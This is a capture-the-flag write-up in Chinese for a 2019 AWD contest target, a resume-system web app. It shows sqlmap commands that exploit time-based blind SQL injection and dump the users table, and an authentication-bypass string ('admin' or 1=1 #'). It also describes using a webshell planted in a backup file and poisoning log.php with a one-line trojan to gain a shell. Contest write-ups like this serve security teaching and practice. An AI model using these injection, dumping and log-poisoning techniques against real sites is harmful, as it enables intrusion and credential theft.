题目描述
2019防灾科技学院 “应急挑战杯” 大学生网络安全邀请赛 AWD 靶机题目。不是黑盒,本地有源码可以白盒审计。
Solution
打开题目,是一个简历系统登陆页面:
首先我们猜想是弱密码,用 Burpsuite 去暴力破解,没有成功。
验证 SQL 注入
之后我们猜想是 SQL 注入,用 Burpsuite 观察请求包,发现是用 POST 传递数据的,我们使用 SQLMap 去跑,发现注入点是基于时间的盲注。
sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 --dbs
我们发现有geez
数据库,继续查它有哪些表:
sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez --tables
有一张users
表。我们继续看看它的表结构:
sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez -T users --columns
我们先关注username
字段:
sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez -T users -C username --dump
它只有一个用户admin
,再看看password
字段:
sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez -T users -C password --dump
我们用hashid
命令或hash-identifier
看看它可能是哪些哈希:
我们优先考虑 MD5 哈希,去 MD5 hash cracker 尝试破解,得到一个结果:
我们尝试用admin:admin445
登陆。
也可以使用万能密码登陆,账号是:admin' or 1=1 #
,密码是1
。
发现有个后台主页,可以上传文件:
我们尝试上传正常图片,却遇到服务器后端报错:
我们只能尝试别的方法。
审计备份文件
我们用 dirsearch 扫描目录:
扫描到网站备份文件,我们下载下载,火绒会报毒:
我们打开压缩包,找到在include
目录下确实有一个 WebShell 文件:
我们直接用蚁剑连接 WebShell:
最后我们在/
目录下找到 Flag 文件:
验证日志文件
在上一步我们还发现服务器有一个log.php
文件,打开一看,发现所有的 GET、POST 请求都会被记录到这个文件里:
如果我们给主要发送一个 POST 请求,请求的内容包含了一句话木马,那一句话木马也会被记录到log.php
里,这样一来log.php
文件就可以被当成 WebShell 被蚁剑这一类工具连接了。我们试一试,向主页发送包含一句话木马的 POST 请求:
可以看到我们写入的东西被记录到 Log 里了:
我们尝试一下能不能用蚁剑访问 WebShell:
我们进入控制台,输入命令find / -iname flag
找 Flag 文件的位置,最后发现它在/
目录下,我们用cat
命令查看即可:
参考资料
- YJTZB_2019/writeup.pdf at master · GinkgoTeam/YJTZB_2019 (github.com)
- [BZMCTF]综合渗透部分 writeup_shu天的博客-CSDN博客